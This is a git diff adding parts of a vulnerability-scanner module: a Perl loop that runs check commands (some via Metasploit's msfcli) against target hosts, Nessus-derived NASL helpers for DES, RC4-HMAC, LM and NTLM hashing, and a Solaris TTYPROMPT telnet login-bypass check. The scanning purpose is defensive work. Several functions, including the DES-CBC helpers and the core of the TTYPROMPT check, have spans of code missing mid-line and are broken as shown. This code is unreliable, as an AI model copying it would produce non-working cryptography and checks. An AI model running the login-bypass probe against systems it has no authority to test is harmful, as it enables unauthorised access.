($ctype,$cname,$desc,$cve,$bid,$testcmd,$testvulnout)=("","","","","","",""); + my $enabled=0; + + $ctype=$Vce->Type("$check"); + + $cname=$Vce->Name("$check"); + $enabled=$Vce->Enabled("$check"); + if (!$enabled){ + $Log->Info ("GSM thread $threadID ($name -> $target): not running disabled check $cname on $host\n",'LOGONLY'); + next; + } + + $desc=$Vce->Desc("$check"); + $bid=$Vce->Bid("$check"); + $cve=$Vce->Cve("$check"); + $testcmd=$Vce->Check("$check"); + $testcmd =~ s/=HOST/=$host/g; $testcmd =~ s/ HOST/ $host/g; $testcmd =~ s/PLUGINDIR/$pluginDir/g; $testcmd =~ s/MSFCLI/$msfcli/g; $testcmd =~ s/MSF2CLI/cd ${msf2dir} && .\/msfcli/g; $testcmd =~ s/\[BIN\]/$bindir/g; + $testvulnout=$Vce->Vuln("$check"); + my ($cmd,$args)=split (" ", $testcmd, 2); + my $pathToCmd = $MainScan->getPath("$cmd"); + + if ($pathToCmd){ + $testcmd = "$pathToCmd $args"; + } + + my $scandata = "$check $cname\t($desc)"; + $scandata .= " "; + $scandata .= $bid if ($bid); + $scandata .= " "; + $scandata .= $cve if ($cve); + + $Log->Info ("GSM thread $threadID ($name -> $target): running check $cname on $host\n",'LOGONLY'); + my $_vuln=0; + #print "Unix check $check $testcmd\n"; + + my ($rc,@testout)=$MainScan->TimedBackticks($Timeout,$testcmd); + my $_testout = join "==", @testout; + if ($_testout && $_testout =~ /$testvulnout/){ + $_vuln=1; + } + + if ($rc == 99){ + $Log->Warn("GSM thread $threadID ($name -> $target): $cname timed out","LOGONLY"); + } else { + if ($_vuln){ + $MainScan->MissingPatch($target, "vuln", "UnixVA", "$check", "GSM-UnixVA-$check", "$scandata"); + $vulns++; + } + } + last if ($MainScan->WasPaused); + $self->SetScanComplete("check$check",$target); + } else { + $Log->OK("GSM thread $threadID ($name -> $target): $plugin previously completed - skipping",'LOGONLY'); + } + } # END General Unix + + + + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + #>>>>>>>>>>>>> End of module-specific code >>>>>>>>>>>>>> + #>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> >>>>>>>>>>>> + + # Don't modify anything below this line. + $self->SetScanComplete("$name","$target"); + } else { + $Log->Status ("GSM $name (thread $threadID) -> $socket already scanned - skipping\n","LOGONLY"); + } + $Log->Status ("GSM $name (thread $threadID) -> $socket FINISHED scanning\n"); + return 0; +} + +sub SingleScan { + my $self=shift; + return $$self{'OnePerHost'}; +} + +sub Name { + my $self=shift(); + return $$self{'Name'}; +} +sub Cost { + my $self=shift(); + return $$self{'Cost'}; +} +sub Enabled { + my $self=shift(); + return $$self{'Enabled'}; +} +sub Watching { + my $self=shift(); + return @{$$self{'WatchFiles'}}; +} + +sub TargetSpec { + my $self=shift(); + my $targetSpec=shift(); + if (!defined($targetSpec)){ + return $$self{'TargetSpec'}; + } else { + $$self{'TargetSpec'}=$targetSpec; + } +} + +sub IsScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + return $MainScan->GetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); +} + +sub SetScanComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + $MainScan->SetStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName); + return 1; +} + +sub SetScanInComplete { + my $self=shift(); + my $name=shift(); + my $target=shift(); + my ($host,$junk)=split ":", $target; + my $MainScan=$$self{'MainScan'}; + my $scanName="GSM_${name}_$target"; + if ($MainScan->DelStatKey($MainScan->ResultsDirectory . "/$host/.gsmcomplete",$scanName)){ + return 1; + } else { + return 0; + } +} +sub MaxInstances { + my $self=shift(); + return $$self{'MaxInstances'}; +} +sub ConflictsWith { + my $self=shift(); + return @{$$self{'ConflictingModules'}}; +} + +1; diff --git a/content/UnixVA/plugins/byte_func.inc b/content/UnixVA/plugins/byte_func.inc new file mode 100644 index 0000000..d0c5713 --- /dev/null +++ b/content/UnixVA/plugins/byte_func.inc @@ -0,0 +1,109 @@ +# -*- Fundamental -*- +# +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# byte_func.inc +# $Revision: 1.1 $ +# + + +BYTE_ORDER_BIG_ENDIAN = 1; +BYTE_ORDER_LITTLE_ENDIAN = 2; + +ByteOrder = BYTE_ORDER_BIG_ENDIAN; + +function set_byte_order() +{ + ByteOrder = _FCT_ANON_ARGS[0]; +} + +function mkbyte() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + return raw_string(l & 0xff); +} + +function mkword() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return raw_string((l >> 8) & 0xFF, l & 0xFF); + else + return raw_string(l & 0xff, (l >> 8) & 0xff); +} + + +function mkdword() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return raw_string( (l >> 24 ) & 0xff, + (l >> 16 ) & 0xff, + (l >> 8 ) & 0xff, + (l) & 0xff); + else + return raw_string( l & 0xff, + (l >> 8) & 0xff, + (l >> 16) & 0xff, + (l >> 24) & 0xff); +} + + +function getdword(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos + 3); + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return ord(s[0]) << 24 | ord(s[1]) << 16 | ord(s[2]) << 8 | ord(s[3]); + else + return ord(s[0]) | ord(s[1]) << 8 | ord(s[2]) << 16 | ord(s[3]) << 24; +} + +function getword(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos + 1); + if ( ByteOrder == BYTE_ORDER_BIG_ENDIAN ) + return ord(s[0]) << 8 | ord(s[1]); + else + return ord(s[0]) | ord(s[1]) << 8; +} + +function getbyte(blob, pos) +{ + local_var l, s; + s = substr(blob, pos, pos); + return ord(s[0]); +} + + + + +function mkpad() +{ + local_var l; + l = _FCT_ANON_ARGS[0]; + return crap(data:raw_string(0), length:l); +} + + + diff --git a/content/UnixVA/plugins/crypto_func.inc b/content/UnixVA/plugins/crypto_func.inc new file mode 100644 index 0000000..9dad8bf --- /dev/null +++ b/content/UnixVA/plugins/crypto_func.inc @@ -0,0 +1,1010 @@ +#TRUSTED 7a2a8b19a0521318df1f69428ea6a0e04b5e0858e7488d84bf81d0407d7b658b7bd094f2b7649ce89a3659bfcd3f3bf9ff7e1e8c5b7367142d5135031222a3fa7eee8c3f1d003ea924b0b15acbd645da5668edd8a456a7ba53694919dd092eef12ef92fce3afdd57cfd839b361cccfcdfce7518e3a27a85c43f1c3b7e611b2ae1e959db349aed9a5a3d4b669accff7971307c6b249afe7fefa641aacd468425bcd22333adff8fcd8b2aa0e7ce271162d746533e713b6d0388c86d03eb49fc894376d535aa5b89fc4863c11557d9dd6b806181f0330fa562104b66e82cc8657fc57efeb480aa8119e21d6edbe5654e78f9c3b8cdd86bc2d16ed727fcb114cb71a3f7c33801448d2b7662455012606377cb5278a750e197755f02715bcd2d75993fb182961f4c566a7cb9da4b14a6a9497e801751fb86ab6c1e7c4ab0805bca17c7bb7b84dc1d3d0f8768a323e8bc011e3ded7c861ca7e10b1965cb0834b76430a7a405bf1fc424e461c247adbab937f14d22f752c411483b642ae57417c3e83de7d9d166788afcaaf6f2fce2952abdd7b8558fec954d5781f736c9ae6044ae296e100cea821e39cebb3f36b1dd0cb78fa8bc64d76b1101d18a60d7d8c13b381b5cd4c3474795b5bcd8a1121eb9d69479c843a493d1cc9cce3cc41a0de7858d089d80dc9cf4582c4dc0e03b7f2b1ba883e0a92e073a7d11a309c9b17c1519bb1d4 +# -*- Fundamental -*- +# +# (C) 2005 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# +# @NOGPL@ +# +# crypto_func.inc +# + + +#---------------------------------------------------------# +# DES encryption code # +#---------------------------------------------------------# + + + +perm1 = make_list (57, 49, 41, 33, 25, 17, 9, + 1, 58, 50, 42, 34, 26, 18, + 10, 2, 59, 51, 43, 35, 27, + 19, 11, 3, 60, 52, 44, 36, + 63, 55, 47, 39, 31, 23, 15, + 7, 62, 54, 46, 38, 30, 22, + 14, 6, 61, 53, 45, 37, 29, + 21, 13, 5, 28, 20, 12, 4 ); + + +perm2 = make_list (14, 17, 11, 24, 1, 5, + 3, 28, 15, 6, 21, 10, + 23, 19, 12, 4, 26, 8, + 16, 7, 27, 20, 13, 2, + 41, 52, 31, 37, 47, 55, + 30, 40, 51, 45, 33, 48, + 44, 49, 39, 56, 34, 53, + 46, 42, 50, 36, 29, 32 ); + +perm3 = make_list (58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6, + 64, 56, 48, 40, 32, 24, 16, 8, + 57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7 ); + +perm4 = make_list (32, 1, 2, 3, 4, 5, + 4, 5, 6, 7, 8, 9, + 8, 9, 10, 11, 12, 13, + 12, 13, 14, 15, 16, 17, + 16, 17, 18, 19, 20, 21, + 20, 21, 22, 23, 24, 25, + 24, 25, 26, 27, 28, 29, + 28, 29, 30, 31, 32, 1 ); + +perm5 = make_list (16, 7, 20, 21, + 29, 12, 28, 17, + 1, 15, 23, 26, + 5, 18, 31, 10, + 2, 8, 24, 14, + 32, 27, 3, 9, + 19, 13, 30, 6, + 22, 11, 4, 25 ); + +perm6 = make_list (40, 8, 48, 16, 56, 24, 64, 32, + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25 ); + +sc = make_list (1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1); + +sbox = make_list ( 14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, + 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, + 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, + 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13, + + 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, + 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, + 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, + 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9, + + 10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, + 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, + 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, + 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12, + + 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, + 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, + 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, + 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14, + + 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, + 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, + 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, + 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3, + + 12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, + 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, + 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, + 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13, + + 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, + 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, + 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, + 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12, + + 13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, + 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, + 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, + 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11 ); + +function permute (in, p) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(p); i++) + buf += in[ord(p[i]) - 1]; + + return buf; +} + +function lshift (d, count) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(d); i++) + buf += d[(i+count)%strlen(d)]; + + return buf; +} + +function xor (in1, in2) +{ + local_var buf, i; + + buf = NULL; + for (i = 0; i < strlen(in2); i++) + buf += raw_string (ord(in1[i]) ^ ord(in2[i])); + + return buf; +} + + +global_var _b, _er, _erk, _cb, _pcb, _l, _r, _r2, _buf; + +_b = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_er = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_erk = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_cb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_pcb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_l = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_r = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +_r2 = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +__buf = make_list ( + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +function des_encrypt (in, key, type) +{ + local_var i, j, k, c, d, cd, pd1, l, r, rl, pk1; + local_var cb, pcb, r2, tmp, val, ki; + local_var m, n; + local_var cmpt, tmp1, tmp2, count; + + pk1 = c = d = cd = NULL; + + for (cmpt = 0; cmpt < 56; cmpt++) + pk1 += key[perm1[cmpt] - 1]; + + c = substr (pk1, 0, 27); + d = substr (pk1, 28, 55); + + for (i = 0; i < 16; i++) + { + tmp1 = tmp2 = NULL; + count = sc[i]; + for (cmpt = 0; cmpt < 28; cmpt++) + { + tmp1 += c[(cmpt+count)%28]; + tmp2 += d[(cmpt+count)%28]; + } + + c = tmp1; + d = tmp2; + + cd = c + d; + + ki[i] = NULL; + for (cmpt = 0; cmpt < 48; cmpt++) + ki[i] += cd[perm2[cmpt] - 1]; + } + + for (cmpt = 0; cmpt < 64; cmpt++) + { + if (cmpt < 32) + _l[cmpt] = in[perm3[cmpt] - 1]; + else + _r[cmpt-32] = in[perm3[cmpt] - 1]; + } + + + for (i = 0; i < 16; i++) + { + for (cmpt = 0; cmpt < 48; cmpt++) + _er[cmpt] = _r[perm4[cmpt] - 1]; + + if (type == 1) + { + tmp2 = ki[i]; + for (cmpt = 0; cmpt < 48; cmpt++) + _b[cmpt] = (_er[cmpt] ^ ord(tmp2[cmpt])); + } + else + { + tmp2 = ki[15-i]; + for (cmpt = 0; cmpt < 48; cmpt++) + _b[cmpt] = (_er[cmpt] ^ ord(tmp2[cmpt])); + } + + for (j = 0; j < 8; j++) + { + tmp2 = j*6; + m = (_b[tmp2] << 1) | _b[tmp2 + 5]; + n = (_b[tmp2 + 1] << 3) | (_b[tmp2 + 2] << 2) | (_b[tmp2 + 3] << 1) | _b[tmp2 + 4]; + + tmp1 = sbox [j*4*16 + m*16 + n]; + for (k = 0; k < 4; k++) + if ((tmp1 & (1<<(3-k))) == 0) + _b[tmp2 + k] = 0; + else + _b[tmp2 + k] = 1; + } + + for (j=0; j<8; j++) + { + tmp2 = j*6; + tmp1 = j*4; + _cb[tmp1] = _b[tmp2]; + _cb[tmp1+1] = _b[tmp2+1]; + _cb[tmp1+2] = _b[tmp2+2]; + _cb[tmp1+3] = _b[tmp2+3]; + } + + for (cmpt = 0; cmpt < 32; cmpt++) + _pcb[cmpt] = _cb[perm5[cmpt] - 1]; + + for (cmpt = 0; cmpt < 32; cmpt++) + _r2[cmpt] = (_l[cmpt] ^ _pcb[cmpt]); + + _l = _r; + _r = _r2; + } + + for (cmpt = 0; cmpt < 64; cmpt++) + { + tmp2 = perm6[cmpt]-1; + if (tmp2 < 32) + __buf[cmpt] = _r[tmp2]; + else + __buf[cmpt] = _l[tmp2-32]; + } + + return __buf; +} + + +global_var _zero, _one, _inb; + +_zero = raw_string(0); +_one = raw_string(1); + +_inb = make_list(0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0); + +function set_des_key (key) +{ + local_var keyb, i; + + keyb = NULL; + + for (i=0;i<64;i++) + { + + if ((ord(key[i/8]) & (1<<(7-(i%8)))) == 0) + keyb += _zero; + else + keyb += _one; + } + + return keyb; +} + + +function str_to_key (str) +{ + local_var key, i; + + key = raw_string ( ((ord(str[0])>>1) << 1) , + ((((ord(str[0])&0x01)<<6) | (ord(str[1])>>2)) << 1) , + ((((ord(str[1])&0x03)<<5) | (ord(str[2])>>3)) << 1) , + ((((ord(str[2])&0x07)<<4) | (ord(str[3])>>4)) << 1) , + ((((ord(str[3])&0x0F)<<3) | (ord(str[4])>>5)) << 1) , + ((((ord(str[4])&0x1F)<<2) | (ord(str[5])>>6)) << 1) , + ((((ord(str[5])&0x3F)<<1) | (ord(str[6])>>7)) << 1) , + ((ord(str[6])&0x7F) << 1) ); + + return set_des_key(key:key); +} + + +function DES (in, key, _string, type) +{ + local_var inb, keyb, key2, outb, out, buf, i; + + inb = keyb= outb = buf = NULL;; + + if (isnull(_string) || (_string == TRUE)) + key2 = str_to_key (str:key); + else + key2 = key; + + for (i=0;i<64;i++) + { + if ((ord(in[i/8]) & (1<<(7-(i%8)))) == 0) + _inb[i] = 0; + else + _inb[i] = 1; + } + + outb = des_encrypt(in:_inb, key:key2, type:type); + + out = make_list (0,0,0,0,0,0,0,0); + + for (i=0;i<64;i++) + { + if (outb[i] == 1) + out[i/8] = out[i/8] | (1<<(7-(i%8))); + } + + for (i=0;i<8;i++) + { + buf += raw_string (out[i]); + } + + return buf; +} + + + + + +#---------------------------------------------------------# +# RC4 HMAC encryption code # +#---------------------------------------------------------# + +global_var arcS, arcS2; + +function arcfour_setkey (key) +{ + local_var i,j,temp; + + arcS = NULL; + for (i=0; i < 256; i++) + { + arcS[i] = i; + arcS2[i] = ord(key[i % strlen(key)]); + } + + j = 0; + + for (i=0; i < 256; i++) + { + j = (j + arcS[i] + arcS2[i]) % 256; + temp = arcS[i]; + arcS[i] = arcS[j]; + arcS[j] = temp; + } +} + + +function ARCFOUR (data) +{ + local_var i,j,temp,t,k,output,l; + + output = NULL; + i = j = 0; + + for (l=0; l < strlen(data); l++) + { + i = (i+1) % 256; + j = (j + arcS[i]) % 256; + temp = arcS[i]; + arcS[i] = arcS[j]; + arcS[j] = temp; + t = (arcS[i] + arcS[j]) % 256; + k = arcS[t]; + + output += raw_string (k ^ ord(data[l])); + } + + return output; +} + + +function rc4_hmac_string_to_key (string) +{ + # Must be unicode !!! + return MD4 (string); +} + + +function rc4_hmac_checksum (key,type,data,real_key) +{ + local_var hmac, tmp, key2; + + hmac = HMAC_MD5 (key:key, data:"signaturekey"+raw_byte(b:0)); + tmp = MD5 (type+data); + + return HMAC_MD5 (key:hmac, data:tmp); +} + + +function rc4_hmac_encrypt (key,data,type,real_key) +{ + local_var hmac, checksum, conf_data, K3, random, key2, val1, i; + + if (isnull(real_key) || (real_key == FALSE)) + key2 = rc4_hmac_string_to_key (string:key); + else + key2 = key; + + random = NULL; + + hmac = HMAC_MD5 (key:key2, data:type); + + for (i=0; i < 8; i++) + random += raw_string (rand() % 256); + conf_data = random + data; + + checksum = HMAC_MD5 (key:hmac, data:conf_data); + K3 = HMAC_MD5 (key:hmac, data:checksum); + + arcfour_setkey (key:K3); + val1 = ARCFOUR (data:conf_data); + + return checksum + val1; +} + + +function rc4_hmac_decrypt (key,data,type,real_key) +{ + local_var hmac, checksum, checksum2, conf_data, K3, key2, val1; + + if (isnull(real_key) || (real_key == FALSE)) + key2 = rc4_hmac_string_to_key (string:key); + else + key2 = key; + + hmac = HMAC_MD5 (key:key2, data:type); + + checksum = substr(data,0,15); + K3 = HMAC_MD5 (key:hmac, data:checksum); + + + conf_data = substr (data,16,strlen(data)-1); + arcfour_setkey (key:K3); + val1 = ARCFOUR (data:conf_data); + + checksum2 = HMAC_MD5 (key:hmac, data:val1); + + if (checksum == checksum2) + return substr(val1,8,strlen(val1)-1); + else + return NULL; +} + + +#function rc4_hmac_checksum (key,data,type) +#{ +# ksign = HMAC_MD5; +#} + + +#---------------------------------------------------------# +# DES-cbc encryption code # +#---------------------------------------------------------# + + +function xor8 (a,b) +{ + local_var tmp, i; + + tmp = NULL; + + for (i=0; i> 1; + } + + return raw_byte(b:tmp); +} + + +function reverse8 (s) +{ + local_var tmp, i; + + tmp = NULL; + + for (i=0; i!< hexstr(hash)) + return NULL; + + return msg; +} + + +function des_cbc_md5_checksum (data, key) +{ + local_var confounder, iv, i, enckey, tmp; + + iv = raw_string (0,0,0,0,0,0,0,0); + + enckey = xor8(a:key,b:raw_string(0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0,0xF0)); + confounder = NULL; + + for (i=0; i<8; i++) + confounder += raw_byte(b:rand()%256); + + return des_cbc_encrypt (data:confounder+MD5(confounder+data), key:enckey, iv:iv, encrypt:1); +} + + + + +#---------------------------------------------------------# +# LANMAN2.1 Challenge/Response # +#---------------------------------------------------------# + + +function LM_Hash (password) +{ + local_var len, pass, K1, K2, hash; + + len = strlen (password) & 14; + pass = substr (password, 0, len); + + while (strlen(pass) < 14) + pass += raw_string (0); + + pass = toupper (pass); + + K1 = substr (pass, 0, 6); + K2 = substr (pass, 7, 13); + + hash = DES (in:"KGS!@#$%", key:K1, type:1) + DES (in:"KGS!@#$%", key:K2, type:1); + + return hash; +} + + +function LM_Response (password, challenge) +{ + local_var hash, key1, key2, key3, response; + + response = NULL; + + hash = LM_Hash (password:password); + response[1] = substr (hash, 0, 7) + raw_string (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00); + + hash += raw_string (0x00,0x00,0x00,0x00,0x00); + + key1 = substr (hash, 0, 6); + key2 = substr (hash, 7, 13); + key3 = substr (hash, 14, 20); + + response[0] = DES (in:challenge, key:key1, type:1) + DES (in:challenge, key:key2, type:1) + DES (in:challenge, key:key3, type:1); + + return response; +} + + + + +#---------------------------------------------------------# +# NTLM 0.12 Challenge/Response # +#---------------------------------------------------------# + + +function NTLM_Hash (password) +{ + if (password) + return MD4 (password); + else + return raw_string(0x31, 0xd6, 0xcf, 0xe0, 0xd1, 0x6a, 0xe9, 0x31, 0xb7, 0x3c, 0x59, 0xd7, 0xe0, 0xc0, 0x89, 0xc0); +} + +function NTLM_Response (password, challenge) +{ + local_var hash, key1, key2, key3, response; + + response = NULL; + hash = NTLM_Hash (password:password); + + response[1] = MD4 (hash); + + hash += raw_string (0x00,0x00,0x00,0x00,0x00); + + key1 = substr (hash, 0, 6); + key2 = substr (hash, 7, 13); + key3 = substr (hash, 14, 20); + + response[0] = DES (in:challenge, key:key1, type:1) + DES (in:challenge, key:key2, type:1) + DES (in:challenge, key:key3, type:1); + + return response; +} + + +function NTLMv2_Hash (password, login, domain) +{ + local_var hash, user, dest, data; + + hash = NTLM_Hash (password:password); + user = toupper (login); + dest = domain; + + data = user + dest; + hash = HMAC_MD5 (data:data, key:hash); + + return hash; +} + + +# Not used : Broken # +function NTLMv2_Response (password, login, domain, challenge) +{ + local_var hash, data, blob, hmac, resp, TimeStamp, blip, i; + + resp = NULL; + hash = NTLMv2_Hash (password:password, login:login, domain:domain); + + blip = NULL; + + for (i = 0; i < 8; i++) + blip += raw_string (rand() % 256); + + TimeStamp = raw_string (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) ; # To change !! + + blob = raw_string ( 0x01, # Response Type Identification Number + 0x01, # Maximum Response Type Identification Number + 0x00, 0x00, # Reserved + 0X00, 0x00, 0x00, 0x00 ) # Reserved ? + + + TimeStamp + + + blip + + + raw_string (0x00,0x00,0x00,0x00) # Unknown value + + + raw_string (0x00,0x00,0x00,0x00) # List of Netbios Name. Emtpy for the moment. + + + raw_string (0x00,0x00,0x00,0x00); # Unknown value + + data = challenge + blob; + hmac = HMAC_MD5 (data:data, key:hash); + resp[0] = hmac + blob; + resp[1] = HMAC_MD5 (data:hash, key:hmac); + + return resp; +} + + +function LMv2_Response (password, login, domain, challenge) +{ + local_var hash, data, blob, hmac, resp, TimeStamp, blip, i; + + resp = NULL; + hash = NTLMv2_Hash (password:password, login:login, domain:domain); + + blip = NULL; + + for (i = 0; i < 8; i++) + blip += raw_string (rand() % 256); + + data = challenge + blip; + hmac = HMAC_MD5 (data:data, key:hash); + resp[0] = hmac + blip; + resp[1] = HMAC_MD5 (data:hmac, key:hash); + + return resp; +} diff --git a/content/UnixVA/plugins/fizzsolaris_ttyprompt.nasl b/content/UnixVA/plugins/fizzsolaris_ttyprompt.nasl new file mode 100644 index 0000000..916aaca --- /dev/null +++ b/content/UnixVA/plugins/fizzsolaris_ttyprompt.nasl @@ -0,0 +1,84 @@ +# DESC : Solaris TTYPROMPT login vulnerability +# AUTHOR: Fizz +# DATE : 04/03/2006 +# +# NOTES : This vulnerability check is based on the +# ttyprompt.nasl script provided from the nessus project. +# + + +# ############# +# # FUNCTIONS # +# ############# + +function init() +{ + send(socket:soc, data:raw_string( + 0xFF, 252, 0x25, + 0xFF, 254, 0x26, + 0xFF, 252, 0x26, + 0xFF, 254, 0x03, + 0xFF, 252, 0x18, + 0xFF, 252, 0x1F, + 0xFF, 252, 0x20, + 0xFF, 252, 0x21, + 0xFF, 252, 0x22, + 0xFF, 0xFB, 0x27, + 0xFF, 254, 0x05, + 0xFF, 252, 0x23)); + r = recv(socket:soc, length:30); + lim = strlen(r); + for(i=0;i< r) + { + send(socket:soc, data:string("exit\r\n")); + display("Success"); + } +} diff --git a/content/UnixVA/plugins/global_settings.inc b/content/UnixVA/plugins/global_settings.inc new file mode 100644 index 0000000..6118679 --- /dev/null +++ b/content/UnixVA/plugins/global_settings.inc @@ -0,0 +1,107 @@ +# -*- sh -*- +global_var experimental_scripts, report_verbosity, log_verbosity, debug_level, thorough_tests, report_paranoia; + +experimental_scripts = 0; +report_verbosity = 1; +debug_level = 0; +log_verbosity = 1; +thorough_tests = 0; +report_paranoia = 1; +all_addr_private = 0; +all_addr_public = 0; + + 